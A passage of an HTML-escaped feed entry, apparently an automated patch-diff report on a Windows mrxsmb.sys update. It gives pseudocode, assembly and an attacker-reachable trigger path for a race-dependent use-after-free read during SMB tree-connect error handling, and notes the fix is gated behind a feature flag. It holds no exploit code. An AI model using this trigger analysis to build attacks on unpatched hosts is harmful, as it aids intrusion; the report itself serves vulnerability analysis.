&lt;li&gt;&lt;strong&gt;Deferred free:&lt;/strong&gt; &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; does not free the object synchronously; it posts &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; to a worker thread. The use-after-free is a race against that worker, not a deterministic post-free read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Staged rollout:&lt;/strong&gt; The mitigation is gated behind &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;, and the original re-read is retained on the disabled branch. When the feature is off, the patched build is behaviorally identical to the unpatched build.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Use-after-free read of VNetRoot context in tree-connect completion (CWE-416), mitigated behind a feature flag</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_1a0fd87a-mrxsmb-report-20260703-153413.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/mrxsmb_1a0fd87a-mrxsmb-report-20260703-153413.html</id><summary type="html">&lt;p&gt;KB5089549&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9912&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; One function has a security-relevant behavioral change (&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;). All other function differences are WPP trace-GUID renaming, ETW/WPP trace-id renumbering, and decompiler variable-naming noise. The patched build adds two WIL feature-staging helpers (&lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;, &lt;code&gt;Feature_1116195130__private_IsEnabledFallback&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patched build adds a mitigation for a use-after-free read (CWE-416) in &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;. On the tree-connect error path the handler reads &lt;code&gt;*(VNetRoot+0x18)&lt;/code&gt; after dropping its reference to the VNetRoot context and passes the value to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. Because dropping the last reference queues an asynchronous teardown rather than freeing synchronously, the read is a use-after-free only when the teardown worker races ahead and frees the object first. The mitigation pre-captures the pointer at entry but is gated behind the feature flag &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;, with the original re-read retained on the disabled branch (staged rollout).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Medium-Severity Use-After-Free read (CWE-416) in &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; (unpatched @ 0x140001840, patched @ 0x14002D130) processes SMB tree-connect (VNetRoot) construction completion. Its first argument is the VNetRoot context pointer (kept in &lt;code&gt;rbp&lt;/code&gt; in the unpatched build). When the completion status is negative or the response ShareType at &lt;code&gt;*(config+0xBC)&lt;/code&gt; is not a recognized value, execution enters the error-cleanup path.&lt;/p&gt;
&lt;p&gt;That path calls &lt;code&gt;SmbCeDereferenceVNetRootContext(rbp)&lt;/code&gt; at &lt;code&gt;0x14000197D&lt;/code&gt;, which drops a reference on the VNetRoot context. After the call the code computes &lt;code&gt;lea rcx, [rbp+0x18]&lt;/code&gt; at &lt;code&gt;0x140001989&lt;/code&gt; and at the tail executes &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; at &lt;code&gt;0x140001ACE&lt;/code&gt;, reading &lt;code&gt;*(rbp+0x18)&lt;/code&gt; (the mini-redirector device object pointer) and passing it to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; at &lt;code&gt;0x140001AD6&lt;/code&gt;. Reading &lt;code&gt;*(rbp+0x18)&lt;/code&gt; after the reference was dropped is a use-after-free read.&lt;/p&gt;
&lt;p&gt;The free is asynchronous. &lt;code&gt;SmbCeDereferenceVNetRootContext @ 0x140001C10&lt;/code&gt; decrements the reference count at &lt;code&gt;*(context+0x8)&lt;/code&gt;; only when it reaches zero does it post &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; to a worker thread via &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; (&lt;code&gt;0x140001D48&lt;/code&gt;). The actual free occurs in that deferred teardown, so the tail read is a use-after-free only when the teardown wins the race against the read.&lt;/p&gt;
&lt;p&gt;The patch captures &lt;code&gt;*(arg1+0x18)&lt;/code&gt; into a stack slot at function entry when &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; returns nonzero, and uses that captured value at the tail. When the feature is disabled, the tail re-reads &lt;code&gt;*(arg1+0x18)&lt;/code&gt; exactly as the unpatched code does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A victim accesses a network path (&lt;code&gt;\\server\share&lt;/code&gt;) served by an attacker-controlled SMB endpoint.
2. &lt;code&gt;mrxsmb.sys&lt;/code&gt; drives VNetRoot construction via &lt;code&gt;MRxSmbCreateVNetRoot @ 0x140035AB0&lt;/code&gt;.
3. Construction completion calls &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; (call sites &lt;code&gt;0x140001823&lt;/code&gt;, &lt;code&gt;0x1400360AA&lt;/code&gt;).
4. The server returns an error status or invalid ShareType, forcing the error-cleanup path.
5. &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; drops the reference; the last reference queues &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt;.
6. The tail reads &lt;code&gt;*(rbp+0x18)&lt;/code&gt; for &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;; if the teardown has already freed the object, this is a use-after-free read.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED SmbCeCompleteVNetRootConstruction @ 0x140001840 ===&lt;/span&gt;
&lt;span class="c1"&gt;// rbp = arg1 = VNetRoot context&lt;/span&gt;
&lt;span class="c1"&gt;// ... error-cleanup logic (inline spinlock, ActiveVNetRoots decrement) ...&lt;/span&gt;
&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// drops a ref; last ref queues async teardown&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x118&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// address into possibly-freed object&lt;/span&gt;
&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x11c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// reads *(rbp+0x18): potential UAF read&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED SmbCeCompleteVNetRootConstruction @ 0x14002D130 ===&lt;/span&gt;
&lt;span class="c1"&gt;// r14 = arg1 = VNetRoot context&lt;/span&gt;
&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// pre-capture BEFORE any deref (mitigation ON)&lt;/span&gt;
&lt;span class="c1"&gt;// ... error-cleanup via pre-existing helper ...&lt;/span&gt;
&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// drops a ref; last ref queues async teardown&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// mitigation ON: use pre-captured value&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// mitigation OFF: same read as unpatched&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched (&lt;code&gt;SmbCeCompleteVNetRootConstruction @ 0x140001840&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;000000014000197&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;
&lt;span class="mi"&gt;000000014000197&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drops&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001982&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+118h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001989&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;
&lt;span class="mi"&gt;000000014000198&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001990&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001AB7&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001996&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001AB4&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AB4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+110h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ABE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0C8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AC5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+11Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ACC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ACE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;reads&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;potential&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UAF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Deferred free inside &lt;code&gt;SmbCeDereferenceVNetRootContext @ 0x140001C10&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x8&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001D59&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nonzero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;D36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCepTearDownVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;pos&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;worker&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;D48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched (&lt;code&gt;SmbCeCompleteVNetRootConstruction @ 0x14002D130&lt;/code&gt;)&lt;/h3&gt;
